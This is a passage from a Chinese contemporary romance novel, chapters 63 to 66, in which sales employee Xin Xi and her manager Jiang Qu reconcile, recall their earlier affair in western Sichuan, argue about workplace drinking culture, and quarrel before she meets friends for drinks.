家么?辛熙被自己的这个念头吓了一跳。没有血缘关系的两个人如何共同拥有一个家呢?从世俗层面上,就是依靠法律建立合法的被认可、被保护的关系。可姜渠说过他没有结婚的打算,是的,她一直记得。
脑中有些乱七八糟的念头,甚至让她生了种将人一脚踢下沙发,再连夜赶出家门的冲动,但此刻熟睡在侧的男人,侧颜如同被画师刻意勾勒的弧度,是该死地迷人。成长经历中所接触的全部文学作品,“好色之徒”无不是在形容男性,当辛熙正视自己时,觉得实在有亏于天下女性这些年维持好形象。她,很难清高自持。若将她放到古代去当个君主,大概也就是个色令智昏的。
哎!
辛熙的额头同他的下巴平齐,她没忍住,伸出手指像拨弄琴弦一样弄他的长睫毛,姜渠闭着眼,却准确地抓住了她的手,不让她再动弹。辛熙赶紧歇了气,怕真把他吵醒了。
良久之后,见他已经熟睡下去,色胆又生,往前凑了凑,在他的喉结处落下轻轻一吻。姜渠没有任何的反应,于是,她的胆子更大了些,微微扬起头,撅着嘴,吻他的下巴尖儿,往他的嘴瓣亲,很浅很柔,只轻轻点了一下又赶紧躲开。
姜渠依然在熟睡,她便玩兴更盛。在又一次贴过去的瞬间,明明闭着的嘴却忽然张开,吞没了她的全部呼吸。他甚至连眼睛都没有睁开,就能做到精准打击,长驱直入,直捣雷区,带着不容拒绝的强势和热度。他本来就搂着她,这让她毫无退路,她就像他怀里的一个玩偶,只能任取任求。
63. 第 63 章
她被亲得浑身发软,感觉自己是一汪深山谷里的清泉水,被荒野探险的人发现后,在极度饥渴的状态里疯了似的,贪求无度。头上的鲨鱼夹不知道什么时候被取下来,又被扔到了哪里,他的手指绕进她的发间,迫使她不得不仰头迎合。
辛熙感觉自己陷在一个很小很窄的空间里,她想求饶,“自作孽不可活”的道理她已有了亲身体会,但她刚试图张嘴,却只是引狼入室,被更猛烈的掠夺。
“姜......”声息被阻在喉底,让她无法完整地说完一句话。
“叫我什么?”
她感觉自己的锁骨被狠狠的吸咬了一口,轻微的刺疼仿佛触电般传导至全身,声音也不可控地带着媚音,“你不是要睡觉吗?”
“嗯......”他似答非答,这不就正在睡着么?
头皮上的外力减轻,辛熙还没得及借机调整呼吸,就又感觉上半身的束缚被解开,忽然的轻松将她敏感的带到另一处神魂颠倒的状态里。
这是她头一次这么清醒地感知到身体的沸腾,没靠任何酒精的加持。她的羞涩与渴望,她的禁锢与冒险,同时被增大到无数倍。
辛熙微微低头,却只能看见浓黑短平的发梢,她声音微颤,“姜渠,我想看见你”。
姜渠的脸重新出现在她的视线上方,壁灯恰到好处地照亮了他的眼睛,她在他的眼中看见完全陌生的自己,凌乱的头发、酡红的双颊,还有情*欲极浓的瞳。
她想,极乐人间,欲望都市,大概也就是如此。
“抱歉,我想,我应该要食言了。”
“什么?”
“但我想,我们也可以算是走完了前面的流程了吧?牵手,压马路、看电影、吃美食,这些”,虽然是集中在一个晚上做完的,但那又如何,即便是考试前的临时突击,最后能考过不就行了。
“什么?”她又重复了一句,她根本无法思考。然后,她看到姜渠俯低身子,又从她的视野中离开,只留给她一团雾黑,和汹涌而来的震颤。
辛熙是在很久之后才反应过来他的意思,但她已累得无力追究,只能任凭姜渠将她抱到床上,看着他动作利落地收拾残局。
第二天。
辛熙醒来时觉得神清气爽,这很难不归功于昨晚那些奇妙的感受,而给她带来这些感受的男人,依然在沉睡。
“oh~原谅他的懒惰吧,毕竟他只是个需要倒时差的帅哥”,辛熙用美式译文的腔调碎碎念着,下了床。
她先开了电脑,连上公司内网,接收邮件,简单的洗漱后,又戴上耳机听公司的培训材料,边听边做了两份早餐。在津南待着的时间总是不够用,每见一个新的客户都会让她发现自己需要补足的地方,她不得不为此报了不少的培训课,司内的或外部的,总之,她也渐渐养成这种生活方式,像个雷厉风行的职场精英。
姜渠醒来的时候,她正在跟客户打电话,先宽解不良的情绪,再提出解决方案,最后借机留一个再次拜访的机会,一套下来也算行云流水。
姜渠给自己倒了杯温水,静静地坐在她旁边,等着她的电话结束。
“我刚说的有问题吗?”辛熙下意识地紧张,就像在被老师考验题目。
“没有”,姜渠说:“你比我想象中,更适合这份工作。”
“想象中?”辛熙抓到了字眼,“在你的想象中,我应该是什么样的?”
姜渠陷入思考,“在回答这个问题之前,我想先确定你当初为什么什么不告而别,我是指在川西的时候。这曾一度让我非常的困惑。”
“也不算不告吧?”辛熙有些没底气。
“没有事先预告,就单方面地做出了离开的行为,这就是不告而别。”
“就算是吧。可我们不是......”
“不能用上次那样的借口敷衍我,好吗?”姜渠非常认真地说。这些话,他原本是昨晚要聊的,但奈何美色在前,没把持住。
辛熙下意识地去拿手机,就听他说:“我看过你给赵志远写的周计划,你今天只约了一个客户。很不巧,这个客户今天被张鑫请到市中心医院参加学术研讨会了。所以,你应该能有时间回答我这个问题。”
“那你......”
“我今天休假”,姜渠态度坚决,俨然一副非要得到答案的样子。
辛熙说:“姜渠,你为什么只问我当初为什么离开,而从来不问,我为什么会走向你?因为你对自己很了解,你很清楚自己对于异性的吸引力,对吧?”
姜渠并不否认。
“我想,无论你的过去、现在、还是将来,你都少不了因为那些优势而在婚恋市场上占据有利条件。”
“所以?”姜渠问她。
“所以”,辛熙忽然换了副狡黠的表情,“所以,你不会是头一次被女人甩吧?”
“是。”
姜渠一本正经地回答,却让辛熙听出了点酸意,这也不符合她对他的想象。
“好吧。我只是认为那是再正常不过的结束方式。咱俩这萍水相逢、不过露水一般的情缘,就应该随着太阳东升蒸发掉......”而其中嵌入的,那些与卑怯和贪婪有关的心思,要永远沉没在幽暗谷底。
“露水情缘”,几个字在姜渠的唇齿间碾磨,用一种自我解嘲的口吻说,“原来你真是这么想的,我倒是小看你了”。
姜渠放下水杯,将人打横一抱,直接往阳台上去。明烈的阳光兜头照来,将二人圈在真实的世界里,他问:“那现在呢?”
辛熙被锢在姜渠和栏杆之间,他的手掌垫在她背后,所以她并没有任何的不适。可即便如此,心脏还是在无能狂跳,“现在?姜渠,你刚才的反应,我可不可以理解为,你那时......”
“我任何时候,都不会和一个我不喜欢的人发生关系”,姜渠非常坦然地承认。他从来不是一个纵欲的人,虽然他们有一个并不算正经的开始。
辛熙表情惊讶,她从不相信他们之间有什么真情,至少在她的思维里,那点好感不足以上升到“爱情”。因表色而动心动念是人的初始欲望,她以为姜渠更是如此。拥有更多俗世标准下的成功的人,更大概率会在满足个人欲望的道德边界上模糊不清。
“你......认真的?”
“不相信?”姜渠伸手轻轻拭去她眼角的湿润,“怎么你倒还要哭了?”
辛熙咬着嘴,摇摇头,又点点头,后知后觉地生出愧疚感,“抱歉哦,因为我......让你有过不好的感受。”
姜渠原本是有怨气的,可看这这张春雨落花的小脸,他的怨气很难持久。就像昨天,他加急安顿好美国那边的事情,马不停蹄地坐上飞机,十几个小时的长途飞行,落地后,这人一句话不问就跑来了津南。他心头生气,既然气了,那肯定得找个地儿撒,在他的原则里,即便是要吵一架那也得是当面吵,才甘心。结果,这刚见着人,给他突然一抱,心里的气一下子就撒无影儿了。
辛熙是真心觉得抱歉。她的脑中塞满了条条框框,却又没经受住诱惑,做了离经叛道的事。她以编造的身份,同他在江岸亲吻,在雪地撒野打滚。也正是因为这种谎言带来的刺激,让她在叛离的路上获得了更猛烈的情绪反馈。如果世界在那一刻崩裂,她也甘心做这一场风流的鬼。
相处的几天里,她很少问他的私人情况,如果自己都做不到坦诚,她实在没脸过问太多。只知道他从事和医疗相关的行业,此次也是代表公司同政府合作,帮扶县镇区域的医疗技术和设备完成更新换代。
转折点出现在她假期的最后一天。她原本是想要好好告别的,虽然她舍不得从美梦里清醒,但赵志远没有同意她延长假期,她不得不考虑回程了,毕竟现实里的辛熙遵守所有的规则。
她按照头一天的约定到县医院去等姜渠,那天,又逢大雪天气,整个医院显得异常的冷。
一位护士路过,同她打招呼,“怎么又来了?高反还
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没好?”
“哦,不是,我等一个朋友”,她有些尴尬地回答。
护士又再叮嘱了两句,这才放心离开。没一会儿,就见那护士急匆匆地跑上楼,又跑下来,随身的对讲机里发出来的内容断断续续地,应该是某位病人突发急症。
辛熙没由来地跟着紧张,可能是整个医院的大厅,看病的人寥寥无几,她坐在这里,非常容易被认为是某位病人的家属,于是自动带入到紧张的气氛里。
又过了一会儿,护士搀着一位藏族老阿妈过来,坐到了不远处,老阿妈的怀里抱着一个布兜,不小心落出来了几颗,滚到了辛熙的脚边。
是红枣,辛熙认出了这位老阿妈。
护士在帮忙捡红枣的过程中,小声同她解释,之前同她一起在急诊室的那位藏族老大爷是老阿妈的老伴儿。身上的不明疼痛持续了五六年,一直被当成是普通风湿在治疗。最近政府主导的“千县工程”给县医院送来一台三维彩超,昨天刚装机,今天老大爷的病情突然加重,经过彩超扫描,发现是包虫囊肿,十分紧急,赶紧送进了手术室。
护士感叹:“我们这边的技术和设备本来就不比大城市,本地人的卫生健康意识又弱,有时候身上有点不舒服,就山里随便扯点草药对付,实在熬不过的,才肯来医院。你们外地人啊,过来看个新鲜,只有当地人才知道这些高原雪山下的苦。你要觉得哪里不舒服啊,就早点回城里去,别耽误了”。
“嗯,谢谢”,辛熙将捡起来的红枣递过去,“你如果有事就去忙吧,我可以陪着老阿妈等”。
“你不着急走吗?”护士再三确认,她也不放心让老太太一人待着。
“没关系”,辛熙说:“我朋友,应该也在里面帮忙”。
老阿妈一开始一直在抹泪,她说的藏语辛熙听不懂,但还是非常共情地感受到了她的无措。过了一会儿,她从布兜里拿出手持的转经筒,一遍一遍地转动着,嘴里念着,对神灵的虔诚慢慢消解了她的恐惧,也让辛熙获得了暂时的平静。
很久之后,护士过来告诉老阿妈,她的丈夫已经脱离了危险。老阿妈朝着手术室的方向,极其虔诚地匍匐于地,磕了个长头。
辛熙抱着老阿妈临走之前塞到她怀里的布兜,捡了两颗红枣放进嘴里,是真的很甜啊。
姜渠在忙完这些事情之后才想起,还有个姑娘在等他。事情发生得很突然,他没来得及告诉她,只让西区的一个同事带了个口信儿。他想,如果她应气了,他也是可以理解的。
他先跑去大厅,大厅空无一人,也好,不然在这个地方等上几个小时,人会被冻僵的。然后他又跑去了她所住的宾馆,虽然他可以先电话联系,但他觉得失约那么久,得当面道歉才算诚恳。但让他意外的是,她已经退了房。
姜渠不得不给她打电话了。他这才发现,自己根本没有她的手机号码。他们只在头一天添加了微信,所有的交流都仅限于这个呆头呆脑的APP。
语音被接通的那一刻他才发现自己真的很怕她生气了,他提着心气儿,轻声地说:“真的对不起,遇到点突发状况,忘了告诉你一声,我保证,一定没有下一回了。”
“没关系”,她的声音依然悦耳,“我知道,你在做非常了不起的事情”。
姜渠松了口气,可很快,他就听进她那头的车站播音,这让他感觉到了不安,急问:“你在哪儿?”
“我在汽车总站,嗯,姜渠,我得回去上班了”,她顿了顿,用一种稀松平常的口吻,“嗨,我的假期结束了”。
“这么突然?”
“也不算突然吧,本来也是在计划中的。你知道的,打工人身不由己啊”,她甚至调侃了两句。
“瑞拉,我们......”
辛熙抢先说了话,“姜渠,这几天很开心哦。认识你很高兴,真的。但......也只能到这儿了”。
“只能到这儿是什么意思?你在车站等着我,我们当面儿说。”
64. 第 64 章
辛熙当然没有等他。
直达成都的大巴车已经冒着风雪开动,属于瑞拉的勇气,彻底碾碎在这条茫茫无边的车道上。玻璃窗上因为车内的热气氤氲出一层迷蒙的雾气,她抬起衣袖擦干,窗户上只映出一张眼泪斑驳的脸。
回到京北后,她无数次想起那几天,像对喜欢的电影,总是执着地反复去看,甚至逐帧分析关于那段故事的起承转合,因果关联。
她明确自己是在藏族老阿妈手持的转经筒的一圈一圈的嗡鸣声中清醒的。她想起了家里的至亲,她这几天都很少主动和他们联系,这让她生出了愧疚感。一个仅仅认识几天的男人怎么就能比得上他们重要了。自己到底在做些什么?在违背自己的行为准则,在抛却过往所接受的教育,徒做了一个虚假的人,在虚幻的美梦里执迷。
这太可怕了!这份贪恋,让她觉得自己正在走向歧途......因为在那之前,她竟然还想着,如果姜渠留她,她可以再多待待,哪怕是因此失去工作呢。
当藏族老阿妈心无旁骛地磕下那个极为虔诚的长头时,她大受震惊!她觉得那个方位,就是有几尊悲天悯人的神,在对世间的苦难力挽狂澜。
那一刻,属于辛熙的本心回归了,她清醒地知道,世界辽阔、梦想远大,生命的意义远不止于男欢女爱!
“所以,你把我微信删了、电话拉黑?”姜渠忽然翻起旧事。
辛熙从他的臂弯里慢慢滑落,一个滑溜儿,逃出了他的圈地,嘿嘿一笑,“往事不要再提,生活还得继续。不过,你是怎么知道我的电话的?”
姜渠眉峰高扬,说出了令她惊诧的一句话,“看来,你是真的没认出老侯啊?”
“老侯?”辛熙凝心细想,嘴巴撑成一个变形的圆,说不出一句完整的话来,“西区的销售总,他,他......”
姜渠伸手在她的后脑勺揉了揉,虚虚抱了一下,“你这记性啊,是真的不好”。
辛熙想要仰天长叹,难怪在销售大练兵时,侯广兴看着自己的眼神总有种意味不明的感觉。原来,是因为他俩早就见过。那天在医院,就是侯广兴来帮姜渠传的信儿。
侯广兴来麦高的时间很长了,作为分区销售总监,他每年都会到京北总部开几次会,北区的前任总监肖成偶尔会让她或卢湘,帮着订工作餐。
侯广兴早就认出了她!
辛熙捧着自己通红的脸,脚趾紧紧地抓着地板。在销售大练兵时,她还因为侯广兴时常落在自己身上的打量目光,以为他对自己有什么歪心思,暗地里骂人家为老不尊。天呐!她此刻无地自容。
“姜渠~”辛熙跟在他后面进了屋,“姜渠,侯总他知道咱俩的关系,会怎么想咱俩啊?”
“咱俩的关系有什么见不得人的吗?”姜渠问她,很明显对她这样的提问并不满意。
“当然啊”,辛熙决定忽略他的不满,“职场,上下级,男女关系,多敏感的啊。”
“可在此之外,咱们男未婚女未嫁,正当的恋爱关系。”
“虽然也是这么个道理啦,但毕竟,这人言可畏啊。万一哪天,我业绩好了,你要给我升职加薪了,人家知道的,不肯定得说你以权谋私,骂我倚姣作媚。”
姜渠似笑非笑地答:“你就这么自信,能魅惑住我?”
辛熙叉着腰,理直气壮地,“是的呀。事实胜于雄辩,帅哥也没咱想象的那么难攻略嘛,还不是一勾手指,就......”
硬气的话被堵在了唇边,姜渠将人拉到腿上,狠狠地厮磨一番,才肯放过,“我认为,你说得很有道理。”
辛熙就势爬在他的肩膀上。他的身上有她最喜欢的清甜的沐浴露味道,这与姜渠原本的风格大为不同。辛熙觉得这是两个人你中有我我中有你的一种具象化体现,她倍感安心,对侯广兴的担忧淡了很多,“但侯总一直没提过,他在川西见过我呢。”
“嗯”,姜渠很喜欢她这样贴着自己、依赖自己的感觉,于是手一搂,将人抬高了些。
“是你让他保密的吗?”辛熙问。
“没有,我不需要他保密。”
姜渠的手开始不老实地钻进她的毛衣里,他不觉得侯广兴是个问题。在职场摸爬滚打的人,审时度势是一项必要的技能。即便姜渠真因为这点事情偏袒辛熙,输送利益,这也完全影响不到侯广兴的位置,所以他不会多这一嘴。当然,姜渠并不觉得这有什么不能说的。在某些公司,为了确保员工的稳定性,甚至会鼓励内部员工恋爱结婚的。至于,那些会因为感情问题而产生负面影响的员工,其大概率也会因为其他原因而产生同样的问题。
“姜渠.......”
“嗯......”
“你能别乱摸吗?痒~”辛熙羞臊着脸,埋进他的颈窝。
姜渠的声音明显变沉,“你现在这样的状态,说这话,没有可信度。”
“可是......现在大白天呢。”
姜渠却说:“知道为什么很多人都晚上做吗?因为他们白天没有时间。可是不巧,我们今天,一整天都有空。”
辛熙微微抬臀,试图离开灼热之地,“咱们的话还没说完呢?”
“边做边说。”
“可......”她要说的话,到底没有心思说尽。因为她发现,无论她说什么,似乎都只会刺激得他更加肆意妄为,她的所有反应对于兴头正盛的男人来说都只会形成正向刺激。
辛熙很快学了乖,直到他喉咙里发出沉厚的闷音,她才重新提起先前没有说完的话,“我回答了你的问题,该你回答我的了”,辛熙提醒他,“想象中”。
姜渠搂着身下这副娇软的身躯,经事后的潮红令她看上去像颗水蜜桃,“第一印象,自然是漂亮的。”
“果然,男人都只看这个的吗?”
姜渠低笑着,说了句荤话,“那刚认识的时候,其他的也不给看啊”,姜渠眼神朝下落,像扫描仪扫过她的起伏处。
辛熙赶紧拉过被子盖住,脸热得过份,“正经点”。
“你要一个男人在事后说正经话,除非他欲求不满。”
“姜渠!”被子已经快盖到了头顶。
“别憋着自己了”,姜渠将她从被子里捞出来,将她肩膀两侧的被子掖紧,只留一个圆脑袋在外面,对她说:“你看,我原以为你是听得来这种话的”。
“什么意思?”
姜渠倒了杯水过来,喂了辛熙一口,自己把剩下的咕噜咕噜大口喝光,才说:“一开始觉得你像很多其他的漂亮女生一样,生性爱自由,追求极速的浪漫刺激。所以......”
“所以,你也就顺势而为。既然这个还算漂亮的女生想发生点什么,刚好你也不排斥,那就来吧,风月上的事情嘛,总归你吃不了亏”,辛熙说这话到时候,有些闷气。虽然事情是她主动做的,但听懂对方的意思还是不免为自己委屈。
姜渠跪坐到床上,“问
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题是你要问的,听到答案又不开心,不是自讨苦吃么?”
“我乐意”,辛熙偏过头不去看他,“那如果,那个时候是其他的,随便的,任何一个长得好看点的,你都可以了?”
姜渠沉默地看着她,躬身朝前,将她的脑袋掰正,面对自己,极其诚恳地说:“我没那么君子,可以坐怀不乱。但也没那么不讲究,谁都可以。我认为成年人,首先要对自己的行为负责,其次是要看重自身,无论是身体健康,还是道德评价。”
“好吧”,辛熙暂且接受了这个说法,“那其他的呢?”
姜渠抬手扬了扬,示意自己此刻寸缕为着,“你确定,咱们今天要说这么多?”
“昂~你说的,咱们今天时间很多。”
“也行”,姜渠重新钻进被窝,贴上她身,“后来,觉得这女人翻脸无情,说走就走。老侯给了我你的电话,我本来想打过去好好质问一番,谁知道,你刚听到我的声音就挂了,再打,直接给我拉黑了。”
辛熙回想起当时的情景。她刚回到榆林的家中,第二天一早的飞机飞京北。一家人正在热热闹闹地吃饭,手机忽然就响了,她接起电话“喂”了一声,那边刚发出来一个音,她慌得立马挂了,生怕被家里人发现端倪,但他们还是看出了她的异常,只不过误以为她欠了网贷在被催债,害她解释了好久,他们才肯相信自家这个老实巴交的孩子有基本的判断能力,不会干这种蠢事。
“那你后面也没再给我打了”,辛熙语气不悦。
“那时候忙,心里也有气,想着,反正后面总能见到的。”
“难怪”,辛熙打了个哈欠,“第一次在办公室见到你,我都快吓死了,但你表情非常淡定。”
姜渠笑出了声,并不承认他只是靠着多年职场磋磨出来的练达在强行表演,“困了吗?”
“嗯”,辛熙已经将脑袋埋进了床铺,“我先眯会儿,晚点叫我”。
这一眯,直接睡到了月亮高悬。
辛熙看着再无半点日光照射的室内,有点慌,不知道耽误了多少事情。赶紧穿起衣服走出去,却看见姜渠的面前,开着两台电脑,一台他的,一台她的,而他,居然同时在两台电脑上处理事情。
辛熙几乎是飞奔过去的,她将自己电脑抢过来,大为震惊。因为,姜渠竟然在用她的名义帮她处理工作。有则涉及金额很大的非标条款,财务要求需要GM的审批,所以这封邮件,因为需要逐级审批,分别经过了赵志远-师尧,最后发给了姜渠。
“你这左手发邮件,右手回?”辛熙万分惊愕。
“谁让你倚姣作媚,蛊惑了我”,姜渠用她之前的话回她,“可惜,你也就只能占着这点便利。”
辛熙哭笑不得,“真是辛苦姜总了,百忙之中还能在五秒之内回复‘我’的邮件”。
她又去看了手机,客户打来的电话统统没接,但“她”都礼貌地短信回复了对方:正在开会,不方便接听,晚点回您。
工作上的紧急事务基本都被处理过了,甚至在工作群里被@的时候,他还学着她的口吻,回复了几句,客气又恭谨。
“你的微信在电脑上登陆着,所以不可避免地,我也回了两句。”
辛熙并不介意,她坦坦荡荡,没有什么不能被看见的,只是.......辛熙看着那条江准发来的消息,他约她今晚吃饭,可是‘她’非常冷漠干脆地回了俩字:没空。语气生硬,不带任何的标点或表情符号。
65. 第 65 章
这在一向非常体谅他人情绪的辛熙身上是不会发生的。她赶紧发了两句话补救,虽然时间已经过去三个小时。
江准的电话紧跟着拨进来,宽解她,“这没有什么的,朋友之间说话不就应该随意些。”
“嗯嗯,你没有不开心就好,我主要白天事情太多了。”
“理解的”,江准一贯的温和,“那你忙完了吗?要不要一起吃晚餐?”
“晚餐吗?”辛熙看着自己家里端坐着的男人,只能再一次抱歉,“今日恐怕不行,我这还有点工作要处理。”
姜渠抬眼,漫不经心地觑向她,仿佛在问,我是你的什么工作?
“晚一点也行,或许宵夜呢?”江准难得坚持。
“宵夜的话......”辛熙不太好意思再拒绝,毕竟是自己欠着的请客饭,她忐忑地避开姜渠的凝视,“倒也行。”
“那我定好位子给你发地址,你忙完再过来,不着急”,江准的语调轻快了不少。
“好的。”
挂完电话,辛熙坐回到姜渠身边,讨好似地问他,“那我们晚上吃什么呀?哦~中午好像没吃呢。怎么都没觉得饿呢。”
这一天过得真的太荒唐了,想到这儿,胸臆里萌生一种如梦似幻的感觉。餐桌上,她早上做好的另一份早餐早已经被人吃掉,台面上收拾得干干净净,一切都被放到了该放的位置上。
姜渠任她撒娇,面子上还是不悦,“你都有宵夜了,还需要吃晚餐?”
“晚餐是正餐,宵夜可不算饭”,辛熙说这话的时候,肚子非常配合地咕咕叫了两声。
“饿了?”
“很饿”,她重音强调。
姜渠朝门厅走了几步,变戏法一样提过来一个很大的保温袋,里面有七八个包装精致的餐盒。
“你什么时候点的餐?”辛熙迫不及待地打开盒子,香气立马散溢开来。
“本来想亲手做点儿,可你的冰箱里,除了酸奶、面膜,就是酒!”
辛熙吐舌解释,“嗨,那酒,就是为了平日里练酒量,我可没有什么酗酒的不良嗜好哦。”
“练酒量?”姜渠表情一滞,“如果你所有的客户关系都要靠喝酒来维系的话,那我建议你早点放弃,回到你的辅助岗位上去。”
“凭什么呀!”辛熙顿时觉得委屈,她为这份工作付出的努力远不止有这些,凭什么要她放弃,她说:“应酬的场面会出现在成年人所有的社交场合里。就算不是陪客户,那朋友聚会呢,同事聚餐呢,咱们部门内部聚,哪一次能少得了喝酒。”
“朋友聚会,小酌怡情我不反对。但同事聚餐,应酬客户,有些没有必要的酒,你完全可以拒绝。你之前不是会可乐兑红酒吗?”
“是。可乐兑红酒,依云换茅台。可总也有来不及、不方便的时候,我只是想给自己多一层的保障。”
“酒量就是你的保障?”姜渠听此,眉头皱成一团。
“昂~”她甚至觉得自己非常地具有远见性。
姜渠郑重其事,“但我认为,敢于say no才是。你所选择的方法都是顺从他人的要求,但不合理的,没必要的,应该直接拒绝。”
“拒绝?”
“是的”,姜渠觉得自己有必要再多说一些,“你和你的同事,哪怕是你的老板,都应该是平等的关系,你们共同服务于一个社会经济组织,只是角色分工不同。诚然,企业因为自身的管理需要,会有自己的组织架构,从而形成一定的职级分类,但这并不代表将服务于它的个体分成了三六九等。你有权利拒绝任何令你不适的,超出你职责的事情。”
“这样的话,在同事中,应该会格格不入吧。”
“勉强的讨好,最先失去的是自我。而一个坚守自己原则和底线的人,更能赢得尊重。”
辛熙搅着自己面前的浓汤,险些被说服,她大喝了一口,温热流经五脏六腑,反驳的意识被激活,“你的话表面听上去没有问题,但忽略了一个客观事实,就是我俩所处的位置不同。我在最基层,如果我保留个性,那我的职场路会非常难走。就像之前.....算了,不举例”,辛熙本来想说张鑫的,但这个时候说起,未免有种私下告状的嫌疑,所以她说:“但你本身就处在高位,你不喜的,当然可以随意拒绝或忽视,反而是被你拒绝的,还会反过来反思自己的行为,揣摩你的想法。那我问你,如果司徒总让你做你不喜欢的事情,你可以很干脆地say no吗?”
姜渠静静地看着她,似乎在思考她话中的合理性,随后他极为认真地回答:“如果司徒总让我做某件事情,我会分析这件事情是否存在必要。这里的必要,是指,符不符合我这个角色定位。公司战略上的事情,我的角色需要判断合理性和风险性,如果不能做,我会拒绝,并提出我的理由和解决方案。如果是其他人情上的事情,我会考虑这是否符合我的价值观,如果相悖,我也会拒绝。”
“那你不担心,如果拒绝了你的老板,他可能会认为你和他不是一条心,从而影响你的职业发展吗?”
“真正可以有职业发展空间的公司,最基础的一点就是尊重员工的个性。”
“你很理想化”,对于这样的认知,辛熙有种新奇的古怪感受。
“为什么不呢?”姜渠说。
辛熙并不认为自己被说服,理想化是需要前提条件的,例如自身足够优秀,内心足够坚定,她反观自己,觉得自己还做不到,但她很开心能够和姜渠聊到这些,“我会认真思考的”。
姜渠点来的餐,无疑是美味的,他是个生活讲究的人,即便只是一顿外卖,也有自己的营养搭配。辛熙饱餐一顿,心情格外的舒朗。她坐在餐桌边,看姜渠收拾,脑子忽然自动联想到昨晚,他似乎真的擅于收拾各种“残局”。
脸霎时不受控制地通红,辛熙赶紧低下头,拿起电脑,假模假样地处理工作。
“帮我接下电话”,姜渠举着满是泡沫的双手,在洗手池旁朝她喊道。他的手机装在外裤口袋里,这让辛熙的动作不得不有些扭捏。
电话是黎英打来的,姜渠让她点了外放,这样她就不用将手举得太高,但黎英的话,却险些让她将手机扔到水池里。
黎英开口第一句就是问他,“和辛辛在一起吗?没打扰你们吧?”
姜渠将眼前人吃惊的表情尽收,笑意里掺着恶作剧的得意,“你要跟她说话吗?她听着呢”。
辛熙下意识地朝后退,安全不明白是怎么回事儿。
黎英却在这时候叫了她,“辛辛啊,能听到吗?”
辛熙只能硬着头皮,将电话拿近,“我在呢,英姨~”<
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p>黎英的声音听起来格外开心,她说:“辛辛,你愿意和姜姜在一起,英姨真的好开心啊,我昨晚高兴得一整个晚上都没睡着觉。”
“英姨,你怎么......”
“但你也别有压力啊,英姨绝对绝对不干涉你们。如果他惹你不高兴了,或者哪天你发现这人其实不咋地,你想甩了他,英姨也绝对不拦着。”
“嗯。”
“嗯?”姜渠对于她的应承表示不满,对着电话那头的黎英说:“姥儿,您可盼着我点儿好咧。”
“你别说话,我要跟我外孙媳妇说”,黎英并不搭理他,继续表达着自己对辛熙的力挺。
辛熙毫无准备,这突然来的电话反而令她心里压着团气,虽然她做足了礼貌亲热,但她深知,自己多少有些敷衍。
黎英无疑是位慈爱善良的长辈,但辛熙却有种学生时代早恋被家长发现了的忐忑,可明明自己离法定的结婚年龄都超过好几年了,她有些弄不清楚这份不自在的来源。
姜渠发现她挂完电话后,又在阳台上站了许久,他敲了敲阳台的门,提醒她,冬天不宜在室外多待。
辛熙收拾起情绪将手机递还给他,错身时,被他拉进了怀里捂掉了周身的寒气,“站那儿想什么呢?”
辛熙不知从何答起,只能玩笑着,“在数你的罪状,等过两天回京北的时候好告状”。
“说说,都罗列了哪几条?”
“嗯......就那些咯”,她心不在焉地敷衍道。
“跟别人跑了?和前女友牵扯不清?骗钱骗感情?”姜渠一边说一边将人往屋里带,“是吗?我怎么记得是你先睡了我,然后不负责任地跑了的。”
辛熙被他压到餐桌边,只能靠双手勉强支撑,但她并不想要配合,一是她的身体需要休息,二是因为她待会儿还要见客,三自然是因为心底尚未消散的中度雾霾,她偏着头,轻呼:“别,别弄那儿”。
姜渠的唇在她的脸上辗转,找不到突破口,手下的动作就变成更为激烈地探索。
辛熙忍着身体快要缴械投降的颤栗,“不行,我待会儿还约了人。”
“真的要去?”
“已经说好了。”
姜渠有些溃败地停下侵略,眼睛里的火光暗淡下去,再又恢复冷清,“去吧”。
“你不高兴了吗?”这很明显。
“我想,你不会因为我的不高兴而放弃去见他”,姜渠从她的身上退开,扯过几张餐巾纸擦着手指。
“他只是普通朋友,况且他帮了我很多次,这次也是他帮我把车开到津南的。”
姜渠有一些反驳的话,譬如,他也算不辞辛劳,远道而来远,但这显得有些矫情,而如果说自己这个男朋友理应在她需要帮助时排在候选人首位,就又似乎显得小气,所以他说:“去吧,注意安全”。
“那你呢?”
“去酒店。”
“为什么?你可以在我这儿。”
“然后等你和你的普通朋友交际完,醉得一塌糊涂地回来吗?我可不想伺候一个醉鬼。”
虽然姜渠的语气很平淡,但辛熙还是听出讽刺的意味,应激的情绪开始飙升,“因为一个醉鬼不能满足你的性吗?”身体的气血都在往上冲,刚才那种茫昧的闷顿感再次席卷过来,摧毁了她的理智。
66. 第 66 章
姜渠摔门走了,对,就是摔门,非常暴力地,极为过份地,毫不留情面地将门推开,再使劲儿地关上,震得窗户都摇颤了。辛熙就是这样给肖楠描述的。
“真的太过份了,我再也不要理他了”,她又一口闷了一杯啤酒下肚,失神般盯着杯壁上挂着的正在逐个湮灭的啤酒泡,瓮声瓮气地说:“我喝点怎么了,我高兴!”真像个酒蒙子,但没人告诉她。
肖楠抬手去拿她杯子,被她赶紧抢过来护在怀里,“你自己有么不是?”
肖楠无奈,“我给你倒酒。”
“倒酒?那成”,辛熙双手捧着杯子举过头顶,“谢肖老板赏赐。”
江准到的时候碰巧就是这一幕,肖楠像是终于等到了救星,差点欢呼起来,“准哥,你总算来了。”
“喝多少了?”江准一边说一边扫视着桌面上的空酒瓶,明显比他想象中的多。
辛熙看到江准来很高兴,赶快给他满上一杯,“快,快坐,肖楠今天不方便喝,咱俩喝点啊,我能在津南开拓业务,真的多亏了你们,我敬你,你随意就行。”
肖楠快速和江准一个对视,示意给他,根本劝不了。
江准拿起酒杯一口喝光,才脱下外套放到自己的椅背上,话问的是肖楠,眼神却并没有离开正在和一颗豌豆作战的辛熙,“这是怎么了?”
肖楠小声地对他解释,“应该是跟谁闹了点矛盾吧”,她并没有将辛熙口中描述的这个男朋友角色转述出来。
“男朋友?”江准问,他并不觉得这有什么不能说的。
“你知道?”肖楠惊讶。
“今天见过。”
肖楠大为惊讶。
过了一会儿,袁新河也来了,一身的大汗,在大冬天也只穿了件灰色卫衣,羽绒外套胡乱地抓在手里,看样子是刚从球场下来。
辛熙很久没见过他了,但因为经常听肖楠聊起他的光辉和糗事,所以对他的感觉更像是阔别已久的老友,咧着嘴朝他打招呼,“嗨,新河~”
袁新河是个自来熟,表情转变极快,夸张地朝前走起了唱戏的步子,“啧啧啧,是哪家的大美女,大晚上地还这么光彩照人啊,我说我怎么刚走到门口,就被一道亮光刺得睁不开眼。”
“别贫”,肖楠将人强按到座位上,就又见袁新河对着自己惊呼,“不得了不得了,一个赛一个地靓,袁某此生圆满了,圆满了。”
